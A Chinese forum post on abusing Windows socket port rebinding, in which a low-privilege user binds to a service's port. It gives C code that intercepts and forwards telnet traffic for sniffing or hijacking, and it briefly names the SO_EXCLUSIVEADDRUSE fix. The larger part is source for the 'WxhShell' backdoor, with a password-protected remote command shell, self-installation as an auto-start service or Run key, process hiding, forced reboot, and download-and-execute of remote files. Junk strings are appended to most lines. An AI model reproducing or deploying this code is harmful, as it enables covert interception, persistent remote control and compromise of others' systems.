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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: suLC7x`Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L=HnVgBs  
2_M+o]Z^  
  saddr.sin_family = AF_INET; MujEjD "|  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uT<<G)v)  
w?N>3`Jnf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i -@V  
9~a5R]x2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q uw|KL  
^rjUye%EK  
  这意味着什么?意味着可以进行如下的攻击: w2('75$J  
3qH1\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IQ-l%x[fue  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E:A!tu$B  
3kF+wifsz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F :Ps>  
kr |k \  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GY0OVAW6'c  
`GCK%evLG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5e0d;Rd  
E?BF8t_fTE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UVgSO|Tg  
W_3BL]^=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &uBf sa$  
Bm%|WQK  
  #include # kNp);  
  #include aU[!*n 4Ux  
  #include ,]]IJ;:w  
  #include    V*Xr}FE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y+{)4ptg$<  
  int main() 7-u'x[=m  
  { 5tZ0zr  
  WORD wVersionRequested; RQ^ \|+_  
  DWORD ret; ];b+f@  
  WSADATA wsaData; 72*j6#zS  
  BOOL val; dZb;`DjTH  
  SOCKADDR_IN saddr; |R!ozlL{}  
  SOCKADDR_IN scaddr; 2Yd@ V}  
  int err; VhAJ1[k4!  
  SOCKET s; T34Z#PFwe  
  SOCKET sc; Sl<1Rme=w  
  int caddsize; <X1 lq9 lW  
  HANDLE mt; h.l.da1#  
  DWORD tid;   Ze#DFe$  
  wVersionRequested = MAKEWORD( 2, 2 ); KU+\fwYpnk  
  err = WSAStartup( wVersionRequested, &wsaData ); Y"yrc0'&T  
  if ( err != 0 ) { EVw{G<  
  printf("error!WSAStartup failed!\n"); >lzXyT6x8  
  return -1; -o!bO9vC  
  } IXR'JZ?fH  
  saddr.sin_family = AF_INET; f\.y z[  
   #e,TS`"eD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ZU+_nWnl  
t+]1D@hv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >gM"*Laa?  
  saddr.sin_port = htons(23); _G'A]O/BZD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I;eoy,  
  { HJ0;BD.]  
  printf("error!socket failed!\n"); i1m>|[@k  
  return -1; v&WK9F\  
  } V |}9bNF  
  val = TRUE; Z2H bAI8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :M f8q!Q'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o76!7  
  { hlze]d?z  
  printf("error!setsockopt failed!\n"); &/)B d%  
  return -1; )|k#cT{=M  
  } 3]9Rmx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yG7H>LF?8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Fu5Y<*x  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N mxh zjJ  
S_OtY]gF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pPo(nH|<  
  { J:&.[  
  ret=GetLastError(); 0chpC)#Q3;  
  printf("error!bind failed!\n"); }HmkTk  
  return -1; ]vn*eqd  
  } $e--"@[Y  
  listen(s,2); M"/Jn[  
  while(1) ABkDOG2br  
  { ju "?b2f  
  caddsize = sizeof(scaddr); rBi<Yy$z  
  //接受连接请求 _;Xlw{FN^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QJrXn6`  
  if(sc!=INVALID_SOCKET) [6JDS;MIN  
  { kD%MFT4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?~t5>PEonv  
  if(mt==NULL) I9>vm]  
  { Fw{@RQf8  
  printf("Thread Creat Failed!\n"); 5p S$rf  
  break; ?< teHFj  
  } ytjZ7J['{  
  } /Wjc\n$'  
  CloseHandle(mt); JehanF[  
  } UI U:^g0  
  closesocket(s); Qj_)^3`e  
  WSACleanup(); V;"2=)X  
  return 0; X{, mj"(w  
  }   Ax;?~v4Z  
  DWORD WINAPI ClientThread(LPVOID lpParam) n_RZ:<Gr  
  { _|0#  
  SOCKET ss = (SOCKET)lpParam; |9]-_a  
  SOCKET sc; "#7Q}d!x  
  unsigned char buf[4096]; Q[K$f%>  
  SOCKADDR_IN saddr; %N ~c9B  
  long num; p}1gac_c  
  DWORD val; Tgtym"=xd  
  DWORD ret; Y,Z$U| U  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j y5[K.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'l~7u({u  
  saddr.sin_family = AF_INET; 2\k!DF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g_P98_2f.k  
  saddr.sin_port = htons(23); r /a@ x9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -bOtF%  
  { )^s> 21  
  printf("error!socket failed!\n"); P[q>;Fx*  
  return -1; cyB+(jLHDs  
  } 1R~$m  
  val = 100; B F gxa#De  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zn r4^i&(  
  { &`n:AR`  
  ret = GetLastError(); $#s5y~z  
  return -1; h~Z &L2V  
  } >W-xDzJry  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \9V_[xD+  
  { __$;Z  
  ret = GetLastError(); vvxD}p=y  
  return -1; 2 SD Z  
  } T3 ie-G@<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) XfVdYmii  
  { Y_ne?/sZE  
  printf("error!socket connect failed!\n"); Kn5C  
  closesocket(sc); ">1wPq&  
  closesocket(ss); T?!SEblP]  
  return -1; 2INpo  
  } 9M9Fif.  
  while(1) h'h8Mm  
  { 'h6G"=+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4 5.g;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >m1b/J3#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 af>i  
  num = recv(ss,buf,4096,0); LsIZeL^  
  if(num>0) i7h^L)M  
  send(sc,buf,num,0); ,=Wj*S)~  
  else if(num==0) 13v`rK`7o  
  break; >@bU8}rT  
  num = recv(sc,buf,4096,0); Eb9h9sjv  
  if(num>0) B\rY\  
  send(ss,buf,num,0); YzZj=]\`b  
  else if(num==0) ]$ s)6)kW  
  break; O ] !tK  
  } $=E4pb4Y  
  closesocket(ss); ,D`jlY-1l  
  closesocket(sc); (&Q!5{$W  
  return 0 ; &glh >9:G  
  } Wll0mtv  
<$A/ ('  
R#~l[S8u^  
========================================================== =d5;F`m  
~YW;'  
下边附上一个代码,,WXhSHELL [Fag\/Y+  
X!z-J>  
========================================================== !f AvxR  
BWYv.&=(  
#include "stdafx.h" F^Jz   
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#include <stdio.h> O!dS;p-F  
#include <string.h> X}3?k<m  
#include <windows.h> C "@>NC_  
#include <winsock2.h> 9 $X" D  
#include <winsvc.h> mpwh=  
#include <urlmon.h> ; t9_*)[  
NkGtZ.!pk  
#pragma comment (lib, "Ws2_32.lib") A~E S{Zkh  
#pragma comment (lib, "urlmon.lib") {GCp5  
Xqm ?@JN  
#define MAX_USER   100 // 最大客户端连接数 Pr%KcR ;  
#define BUF_SOCK   200 // sock buffer FG71<}C[K  
#define KEY_BUFF   255 // 输入 buffer .e3@fq  
gk8 v{'0Er  
#define REBOOT     0   // 重启 n>Oze7hVY  
#define SHUTDOWN   1   // 关机 9&^5!R8  
7],y(:[=v  
#define DEF_PORT   5000 // 监听端口 G2!<C-T{2  
2,I]H'}^  
#define REG_LEN     16   // 注册表键长度 $d-yG553  
#define SVC_LEN     80   // NT服务名长度 o\it]B  
sEw ?349Bz  
// 从dll定义API oo]P}ra  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pg,JYn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yNwSiZE X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2'W# x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h 1 "#  
~n0Exw(  
// wxhshell配置信息 =$^}"}$  
struct WSCFG { L?8OWLjRy  
  int ws_port;         // 监听端口 [Ax :gj  
  char ws_passstr[REG_LEN]; // 口令 A`(Cuw-o  
  int ws_autoins;       // 安装标记, 1=yes 0=no _M;{}!Gc&A  
  char ws_regname[REG_LEN]; // 注册表键名 /: \27n  
  char ws_svcname[REG_LEN]; // 服务名 }NV<k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %O[1yZh \  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "[z/\l8O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a.O"I3{?h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^l ;Bo3^_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EX W?)_pg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mjl,/-0 w  
$OGMw+$C ^  
}; 6oq^n s-  
Ym -U{a  
// default Wxhshell configuration f<<$!]\  
struct WSCFG wscfg={DEF_PORT, _q@lP|  
    "xuhuanlingzhe", yVPFH~1@\  
    1, 3|3ad'  
    "Wxhshell", I(j{D>v  
    "Wxhshell", \b)P4aL  
            "WxhShell Service", `-W4/7  
    "Wrsky Windows CmdShell Service", v )2yR~J  
    "Please Input Your Password: ", Qd ?S~3XT  
  1, %.uN|o&n  
  "http://www.wrsky.com/wxhshell.exe", K6~')9 Q  
  "Wxhshell.exe" G[zysxd  
    }; |VM=:}s&  
)kKeA  
// 消息定义模块 6is+\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  1&=2"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fl_a@QdB#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7 X~JLvN  
char *msg_ws_ext="\n\rExit."; hSh^A5 /  
char *msg_ws_end="\n\rQuit."; V*6&GM&  
char *msg_ws_boot="\n\rReboot..."; aH500  
char *msg_ws_poff="\n\rShutdown..."; QYBLU7  
char *msg_ws_down="\n\rSave to "; ~ :B/`1[m  
r"5\\qf5*  
char *msg_ws_err="\n\rErr!"; EScy!p\*  
char *msg_ws_ok="\n\rOK!"; R3BK\kf&  
]InDcE  
char ExeFile[MAX_PATH]; q| *nd!y'  
int nUser = 0;  GL&rT&  
HANDLE handles[MAX_USER]; qNkX:|j  
int OsIsNt; sQT,@+JEr  
<&t[E0mU  
SERVICE_STATUS       serviceStatus; =D 5!Xq'|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <S@2%%W  
z7*mT}Q  
// 函数声明 I?<ibLpX  
int Install(void); _p+q)#.W  
int Uninstall(void); `zcpaE.@  
int DownloadFile(char *sURL, SOCKET wsh); wS:`c J  
int Boot(int flag); Yd~Tzh  
void HideProc(void); wmX *n'l  
int GetOsVer(void); \'nE{  
int Wxhshell(SOCKET wsl); IS!]!s'EI  
void TalkWithClient(void *cs); `[f IK,  
int CmdShell(SOCKET sock); j0e1CSE  
int StartFromService(void); T!5g:;~y >  
int StartWxhshell(LPSTR lpCmdLine); D_I_=0qNd  
-.vNb!=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PF;`mdi-,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b=Q%Jxz?  
,<CzS,(  
// 数据结构和表定义 ;cWFh4_  
SERVICE_TABLE_ENTRY DispatchTable[] = FBI^}^#_  
{ (Yc}V  
{wscfg.ws_svcname, NTServiceMain}, HG})V PBa  
{NULL, NULL} Cx`?}A\%  
}; xTdh/}  
X57\sggK  
// 自我安装 q?Mmkh)g  
int Install(void) zDA;FKZPp  
{ =)XC"kU p  
  char svExeFile[MAX_PATH]; ("@ih]zYf  
  HKEY key; EXbhyg  
  strcpy(svExeFile,ExeFile); +p)kemJ~  
+P 9h%/Yk  
// 如果是win9x系统,修改注册表设为自启动 E.rfS$<1  
if(!OsIsNt) { .AHww7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W6uz G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r}])V[V  
  RegCloseKey(key); Ps7Bt(/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t[^68]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IqmoWn3  
  RegCloseKey(key); -*C+z!?BP  
  return 0; #s^~'2^%4  
    } o8ADAU"  
  } #a"gW,/K  
} L(eLxw e%  
else { =P<7tsSuoK  
+}0/ %5 =1  
// 如果是NT以上系统,安装为系统服务 2AI~Jm#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8;]U:tv  
if (schSCManager!=0) E h>qUa  
{  h48 jKL(  
  SC_HANDLE schService = CreateService :Sd iG=t  
  ( ^< O=<tN\  
  schSCManager, =7uxzg/%Tj  
  wscfg.ws_svcname, 7LY4q/  
  wscfg.ws_svcdisp, %) 8 UyZG  
  SERVICE_ALL_ACCESS, =E''$b?Em  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [1{uK&$e  
  SERVICE_AUTO_START, d'Z  
  SERVICE_ERROR_NORMAL, V/}g'_E  
  svExeFile, 4r'f/s8"#  
  NULL, (:]on^|  
  NULL, B'Ll\<mq@  
  NULL, ?oX.$E?(  
  NULL, K7H` Yt  
  NULL 'XHKhpm<  
  ); "eiZZSz  
  if (schService!=0) #4e Taik  
  { @] ` _+\y  
  CloseServiceHandle(schService); MjW g  
  CloseServiceHandle(schSCManager); <Prz>qL$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t  Tky  
  strcat(svExeFile,wscfg.ws_svcname); pO.+hy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >Hq)1o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tz&oe  
  RegCloseKey(key); '%$)"g]/#  
  return 0; J`*!U4  
    } OTNcNY  
  } .6m%/-whS  
  CloseServiceHandle(schSCManager); G92Ya^`  
} *0GR }k  
} ersddb^J]  
P O,mg?JG(  
return 1; A[F tPk{k  
} V]V~q ]  
qMrBTq[  
// 自我卸载 }&Gt&Hm>K  
int Uninstall(void) n9}3>~ll  
{ 4]F:QS% x  
  HKEY key; U&uop$/Cq  
> :s#MwIwm  
if(!OsIsNt) { yaiw|j`A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +O 2H":$  
  RegDeleteValue(key,wscfg.ws_regname); tp-PE?  
  RegCloseKey(key); Z9MT, "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { brk>oM;t  
  RegDeleteValue(key,wscfg.ws_regname); h#ogL-UU  
  RegCloseKey(key); dVh*  a  
  return 0; FOAy'76p  
  } ~@=*JzP?  
} ,U\F <$O  
} dvWQ?1l_  
else { 6PF7Wl7.  
qHT_,\l2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bT^6AtsJ  
if (schSCManager!=0) YY\$lM  
{ k?%?EsR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |;XkU`G  
  if (schService!=0) 6  XZF8W  
  { &R? \q*  
  if(DeleteService(schService)!=0) { Q Q3a&  
  CloseServiceHandle(schService); tnv @`xBn  
  CloseServiceHandle(schSCManager); sYQ=nL  
  return 0; AATiI+\S  
  } sEQAC9M  
  CloseServiceHandle(schService); IkzY   
  } #nTzn2  
  CloseServiceHandle(schSCManager); O$=[m9V  
} VI{!ZD]  
} A2fc_A/a  
{tq.c9+!d  
return 1; )5NfOvmNB  
} F }/tV7m  
zGDLF`  
// 从指定url下载文件 `QpkD8  
int DownloadFile(char *sURL, SOCKET wsh) l :e&w(1H  
{ (#uz_/xXa  
  HRESULT hr; (!^i6z0Sp  
char seps[]= "/"; KaEL*  
char *token; :gD=F&V  
char *file; avJ%J"j8z  
char myURL[MAX_PATH]; 4f)B@A-  
char myFILE[MAX_PATH]; ULqFJ*nla  
 `7v"(  
strcpy(myURL,sURL); #@rvoi  
  token=strtok(myURL,seps); >iZ"#1ZL2O  
  while(token!=NULL) 8dgi"/[3  
  { F$tshe(  
    file=token; 41Y1M]`=  
  token=strtok(NULL,seps); L5-p0O`R  
  } MBeubS  
G1RUu-~+  
GetCurrentDirectory(MAX_PATH,myFILE); >-%tvrS%  
strcat(myFILE, "\\"); (qG}`?219J  
strcat(myFILE, file); $,@PY5r  
  send(wsh,myFILE,strlen(myFILE),0); 0Yzm\"Ggv  
send(wsh,"...",3,0); ]~YY#I":  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VLdQXNg9W"  
  if(hr==S_OK) YadG05PDe  
return 0; 8@$`'h^6  
else ^x BQ#p  
return 1; J~}%j.QQ7  
*Y:;fl +v  
} >}"9heF  
W@b Z~Q9  
// 系统电源模块 UrMEL; @g  
int Boot(int flag) 4r+@7hnK  
{ ?:sk [f6  
  HANDLE hToken; f/?uo sS  
  TOKEN_PRIVILEGES tkp; n'5LY9"  
3Fu5,H EJ  
  if(OsIsNt) { MWl2;qi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (C3:_cM5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~W>3EJghR,  
    tkp.PrivilegeCount = 1; 3 i*HwEh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a3f- 9LN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^t 2b`n60  
if(flag==REBOOT) { {V7W!0;!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &1 BACKu  
  return 0; b] 5i`  
} -/g<A~+i]$  
else { hFQ*50n}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I(5sKU3<  
  return 0; {%&!x;%  
} j*6>{_[  
  } ~WW!P_wI,  
  else { K!<3|d  
if(flag==REBOOT) { X$Y\/|!z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l^cz&k=+  
  return 0; qlNB\~HCe  
} /a .XWfu  
else { VE $Kdo^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -T8'|"g  
  return 0; [.Y]f.D  
} Fy#7 <Hp  
} Xt%y>'.  
N0V`xrS  
return 1; j9 d^8)O,  
} PiVp(; rtQ  
= j!nt8]8  
// win9x进程隐藏模块 !q[r_wL  
void HideProc(void) mb?r{WCi  
{ B;A< pNT  
NtDxwzj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e` eh;@9p  
  if ( hKernel != NULL ) 0PdX>h.t  
  { f5`q9w_c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >h9T/J8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wlEmy.)H  
    FreeLibrary(hKernel); *JA0Vs 5  
  } Ge=|RAw3  
c?%}J\<n  
return; ~j36(`t  
} 'h#>@v> }  
!F08F>@D  
// 获取操作系统版本 VfT@;B6ALF  
int GetOsVer(void) 6#;u6@+}yy  
{ ] ]lN[J  
  OSVERSIONINFO winfo; +ZJ1> n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qM(@wFg  
  GetVersionEx(&winfo); 8FJPw"9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rebWXz7  
  return 1;  q!as~{!  
  else M=sGPPj  
  return 0; ^5Ob(FvU  
} We@wN:  
Is(ZVI  
// 客户端句柄模块 Dq<!wtFG[  
int Wxhshell(SOCKET wsl) ja%IGaH;s  
{ Z!z#+G  
  SOCKET wsh; IQyw>_~]  
  struct sockaddr_in client; =GL^tAUJ  
  DWORD myID; /& o<kY  
|5(un/-C  
  while(nUser<MAX_USER) 4<S=KFT_  
{ M!O &\2Q  
  int nSize=sizeof(client); a/gr1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UJ^-T+fut  
  if(wsh==INVALID_SOCKET) return 1; _53N uEM1  
h9cx~/7,_)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L YMb)=u]  
if(handles[nUser]==0) X-F:)/$xG  
  closesocket(wsh); yC9~X='D  
else #OsUF,NU  
  nUser++; iz:O]kI  
  } zxy/V^mu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,H5o/qNU`{  
uE&2M>2  
  return 0; ?#J;\^  
} wyUfmk_}  
$j'8Z^  
// 关闭 socket )WbE -m  
void CloseIt(SOCKET wsh) F=V_ACU  
{ s AlOX`t  
closesocket(wsh); C''[[sw'K  
nUser--; M<3m/l%`Y  
ExitThread(0); ^e:rRk7 &  
} 3NlG,e'T2  
rB-}<22.  
// 客户端请求句柄 nm !H&#<  
void TalkWithClient(void *cs) 1w|u ^[~u\  
{ Ov|Uux  
H >1mi_1  
  SOCKET wsh=(SOCKET)cs; cB2jf</  
  char pwd[SVC_LEN];  F!&_  
  char cmd[KEY_BUFF]; LO;Z3Q>#0  
char chr[1]; W=?s-*F[~  
int i,j; zHt}`>y&  
}OLBEhGs  
  while (nUser < MAX_USER) { \ Q0-yNt  
 #)28ESj  
if(wscfg.ws_passstr) { b`X"yg+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m; m4/z3U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `I)ftj%  
  //ZeroMemory(pwd,KEY_BUFF); 6l?\iE  
      i=0; >Wr  
  while(i<SVC_LEN) { ,?>:Cdz4  
#>(h!lT_  
  // 设置超时 zoO9N oUHW  
  fd_set FdRead; gj<Y+Dv>  
  struct timeval TimeOut; 2 NrMse  
  FD_ZERO(&FdRead); ]2'{W]m  
  FD_SET(wsh,&FdRead); 2Uq4PCx!  
  TimeOut.tv_sec=8; D"+xF&  
  TimeOut.tv_usec=0; <aEY=IF4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `Pe WV[?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .~fAcc{Qj  
@&E{ L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d!]fou  
  pwd=chr[0]; %$.]g  
  if(chr[0]==0xd || chr[0]==0xa) { ZsikI@?  
  pwd=0; =lqBRut  
  break; ,c\3b)ax  
  } 3-Xc3A=w  
  i++; M,nLPHgK  
    } KZ}F1Mr  
K,\Bj/V(  
  // 如果是非法用户,关闭 socket 60u}iiC@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D/=  AU  
} `&-)(#  
Q\4nduQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ".R5K ?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zHsWj^m"  
.^J7^ Ky,  
while(1) { y $K#M  
0Zv<]xO  
  ZeroMemory(cmd,KEY_BUFF); Ie%twc  
(Mw<E<f  
      // 自动支持客户端 telnet标准   5%E.UjC  
  j=0; VD*xhuy$k  
  while(j<KEY_BUFF) { z a^s%^:yK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Py)'%e  
  cmd[j]=chr[0]; ADa'(#+6  
  if(chr[0]==0xa || chr[0]==0xd) { wEImpsC`  
  cmd[j]=0; TdAHw @(  
  break; iVKX *kqc  
  } ped3}i+|]  
  j++; 0bQm:J[(#  
    } Q*+_%n1 /  
mf>cv2+  
  // 下载文件 Z=vzF0  
  if(strstr(cmd,"http://")) { @fH?y Z=>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %7$oig\wE  
  if(DownloadFile(cmd,wsh)) (HUGgX"=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zmxrz[  
  else D* oJz3[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]eJjffx  
  } _/)?GXwLn  
  else { /Nh:O  
b7:B[7yK.x  
    switch(cmd[0]) { MpV6Vbp  
  A~!3svJW  
  // 帮助 om"q[Tudc  
  case '?': { []{g9CO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QcQ:hHF  
    break; Bpjwc<U  
  } Hset(-=X  
  // 安装 ?`hk0qX3  
  case 'i': { A|BvRZd  
    if(Install()) &S.zc@rN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'CDRb3w}B  
    else .>-`2B*/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HHbkR2H1  
    break; k MS[   
    } 8u::f`vi  
  // 卸载 Uv6#d":f;  
  case 'r': { `j59MSuK  
    if(Uninstall()) >s E5zj|V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); urHQb5|T}  
    else 2'"$Y'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Te"<.0~1  
    break; 8KpG0DC  
    } c7jft|4S  
  // 显示 wxhshell 所在路径 K5Fzmo a  
  case 'p': { A$RN7#  
    char svExeFile[MAX_PATH]; A"V3g`dP  
    strcpy(svExeFile,"\n\r"); {Ex0mw)T  
      strcat(svExeFile,ExeFile); <3;/,>^ Pm  
        send(wsh,svExeFile,strlen(svExeFile),0); BCya5!uy  
    break; snTj!rV/_  
    } |WeLmy%9  
  // 重启 ;o\0:fzr  
  case 'b': { ZYBNS~Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RIUJ20PfYQ  
    if(Boot(REBOOT)) F!VC19<1O8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Lanuv)O  
    else { Q]7Q4U  
    closesocket(wsh); |pr~Ohz  
    ExitThread(0); `S Wf)1K  
    } s&vOwPmV  
    break; ||7r'Q  
    } <;x+ ?j  
  // 关机 G7C9FV bR  
  case 'd': { yPm)r2Ck  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9Dd/g7  
